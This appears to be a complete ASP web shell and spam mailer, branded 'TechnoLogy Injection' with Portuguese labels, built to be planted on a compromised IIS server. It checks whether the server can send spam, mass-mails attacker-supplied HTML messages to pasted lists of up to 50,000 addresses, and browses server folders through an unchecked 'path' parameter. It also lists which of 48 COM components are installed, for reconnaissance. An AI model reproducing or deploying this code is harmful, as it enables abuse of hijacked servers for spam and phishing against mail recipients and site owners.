<% On Error Resume Next Server.ScriptTimeOut = 7200 Set Objeto=Server.CreateObject("Scripting.FileSystemObject") If request("path") <> "" then Set ObjPasta = Objeto.GetFolder(request("path")) Else if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) Else Set ObjPasta = Objeto.GetFolder(server.mappath(".")) end if End If If Trim(Request.QueryString("path")) = "" Then caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) pos = Instr(caminho,"\") pos2 = 1 While pos2 <> 0 If Instr(pos + 1,caminho,"\") <> 0 Then pos = Instr(pos + 1,caminho,"\") Else pos2 = 0 End If Wend path = Left(caminho,pos) Else path = trim(Request.QueryString("path")) & "\" End If pagename = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) Function functionfooter response.write "" response.write "" response.write "" response.write "" response.write "" response.write "" response.write "" End Function %> [!] - TechnoLogy Injection.ASP By Corleone - [!]

[!] - TechnoLogy Injection.ASPprivado-pa - [!]

<% Set objComponente = Server.CreateObject("CDONTS.NewMail") If Err.Number = 0 Then Response.Write "
SERVIDOR BOM PARA SPAMM
" Else Response.Write "
SERVIDOR SEM SUPORTE PARA SPAAM
" End If Err.Clear if request("botao") = "enviar" then 'EMAILS Set fsoObjeto = Server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq = fsoObjeto.OpenTextFile(ObjPasta & "\tmp.txt", 8, True, False) ObjAbreArq.writeline request("to") 'Abre o arquivo txt com os e-mails 'Do While Not ObjAbreArq.AtEndOfStream 'fsoMostraConteudo = nothing 'fsoMostraConteudo = ObjAbreArq.ReadLine 'call SenDMaiL(fsoMostraConteudo) 'Loop 'ObjAbreArq.Close 'fsoObjeto.close 'Set ObjAbreArq = Nothing 'Set fsoObjeto = Nothing vetordelinhas = Split(Request.Form("to"),chr(13)) For i = 0 To UBound(vetordelinhas) Err.Clear Set msg = Server.CreateObject("CDONTS.NewMail") msg.BodyFormat=0 msg.MailFormat=0 msg.Importance=1 msg.From=request("remetente") msg.To=vetordelinhas(i) msg.Subject=request("subject") msg.Body=request("body") msg.Send If Err.Number = 0 Then Response.Write "
Enviado Para: " & vetordelinhas(i) Else Response.Write "
FaLhOu EM: " & vetordelinhas(i) & " - ERRO: " & Err.Description End If Set MyMail = Nothing Next end if %>
Remetende:
Assunto:
Mensagem
(HTML):

E-Mails 0 - 0 B (Até 50 Mil - Recomendado):

Lista De E-mails:

<% Dim arrListaComponentes(47) arrListaComponentes(0) = Array( "AB Mailer","ABMailer.Mailman" ) arrListaComponentes(1) = Array( "ABC Upload","ABCUpload4.XForm" ) arrListaComponentes(2) = Array( "ActiveFile","ActiveFile.Post" ) arrListaComponentes(3) = Array( "ActiveX Data Object","ADODB.Connection" ) arrListaComponentes(4) = Array( "Adiscon SimpleMail","ADISCON.SimpleMail.1" ) arrListaComponentes(5) = Array( "ASP DNS", "AspDNS.Lookup" ) arrListaComponentes(6) = Array( "ASP HTTP","AspHTTP.Conn" ) arrListaComponentes(7) = Array( "ASP Image","AspImage.Image" ) arrListaComponentes(8) = Array( "ASP Mail","SMTPsvg.Mailer" ) arrListaComponentes(9) = Array( "ASP NNTP News", "AspNNTP.Conn" ) arrListaComponentes(10) = Array( "ASP POP 3", "POP3svg.Mailer" ) arrListaComponentes(11) = Array( "ASP Simple Upload","ASPSimpleUpload.Upload" ) arrListaComponentes(12) = Array( "ASP Smart Cache","aspSmartCache.SmartCache" ) arrListaComponentes(13) = Array( "ASP Smart Mail","aspSmartMail.SmartMail" ) arrListaComponentes(14) = Array( "ASP Smart Upload","aspSmartUpload.SmartUpload" ) arrListaComponentes(15) = Array( "ASP Tear","SOFTWING.ASPtear" ) arrListaComponentes(16) = Array( "ASP Thumbnailer","ASPThumbnailer.Thumbnail" ) arrListaComponentes(17) = Array( "ASP WhoIs","WhoIs2.WhoIs" ) arrListaComponentes(18) = Array( "ASPSoft NT Object","ASPSoft.NT" ) arrListaComponentes(19) = Array( "ASPSoft Upload","ASPSoft.Upload" ) arrListaComponentes(20) = Array( "CDO NTS","CDONTS.NewMail" ) arrListaComponentes(21) = Array( "Chestysoft Image","csImageFile.Manage" ) arrListaComponentes(22) = Array( "Chestysoft Upload","csASPUpload.Process" ) arrListaComponentes(23) = Array( "Dimac JMail","JMail.Message" ) arrListaComponentes(24) = Array( "Distinct SMTP","DistinctServerSmtp.SmtpCtrl" ) arrListaComponentes(25) = Array( "Dundas Mailer","Dundas.Mailer" ) arrListaComponentes(26) = Array( "Dundas Upload","Dundas.Upload.2" ) arrListaComponentes(27) = Array( "Dundas PieChartServer", "Dundas.ChartServer.2") arrListaComponentes(28) = Array( "Dundas 2D Chart", "Dundas.ChartServer2D.1") arrListaComponentes(29) = Array( "Dundas 3D Chart", "Dundas.ChartServer") arrListaComponentes(30) = Array( "Dynu Encrypt","Dynu.Encrypt" ) arrListaComponentes(31) = Array( "Dynu HTTP","Dynu.HTTP" ) arrListaComponentes(32) = Array( "Dynu Mail","Dynu.Email" ) arrListaComponentes(33) = Array( "Dynu Upload","Dynu.Upload" ) arrListaComponentes(34) = Array( "Dynu WhoIs","Dynu.Whois" ) arrListaComponentes(35) = Array( "Easy Mail","EasyMail.SMTP.5" ) arrListaComponentes(36) = Array( "File System Object","Scripting.FileSystemObject" ) arrListaComponentes(37) = Array( "Ticluse Teknologi HTTP","InteliSource.Online" ) arrListaComponentes(38) = Array( "Last Mod","LastMod.FileObj" ) arrListaComponentes(39) = Array( "Microsoft XML Engine","Microsoft.XMLDOM" ) arrListaComponentes(40) = Array( "Persits ASP JPEG","Persits.Jpeg" ) arrListaComponentes(41) = Array( "Persits ASPEmail","Persits.MailSender" ) arrListaComponentes(42) = Array( "Persits ASPEncrypt","Persits.CryptoManager" ) arrListaComponentes(43) = Array( "Persits File Upload","Persits.Upload.1" ) arrListaComponentes(44) = Array( "SMTP Mailer","SmtpMail.SmtpMail.1" ) arrListaComponentes(45) = Array( "Soft Artisans File Upload","SoftArtisans.FileUp" ) arrListaComponentes(46) = Array( "Image Size", "ImgSize.Check" ) arrListaComponentes(47) = Array( "Microsoft XML HTTP", "Microsoft.XMLHTTP" ) ' Rotina que verifica o componente do array é um objeto. Function VerificaObjeto(pComponente) Dim objComponente On Error Resume Next VerificaObjeto = False Err.Clear Set objComponente = Server.CreateObject(pComponente) If Err = 0 Then VerificaObjeto = True Set objComponente = Nothing Err.Clear End Function Public Function VerificaComponentes() Dim intCont, strTxt Dim intIndex, strProv intCont = 0 strTxt = "" For intIndex = LBound(arrListaComponentes) To UBound(arrListaComponentes) strProv = intIndex strTxt = strTxt & "" If VerificaObjeto(arrListaComponentes(intIndex)(1)) Then strTxt = strTxt & "" intCont = intCont + 1 Else strTxt = strTxt & "" End If strTxt = strTxt & "" Next strTxt = strTxt & "
" & arrListaComponentes(intIndex)(0) & "InstaladoNão Instalado

" & intCont & " componentes instalados de " strTxt = strTxt & "" & UBound(arrListaComponentes) + 1 & " no servidor.

" VerificaComponentes = strTxt End Function Response.Write "
_|_

" caminho = server.MapPath("\") response.write "
" & caminho & "
" Response.Write VerificaComponentes Response.Write "

© Copyright 2009 [ TechnoLogy Injection] ®. Todos os direitos reservados.
" '------------------------- %>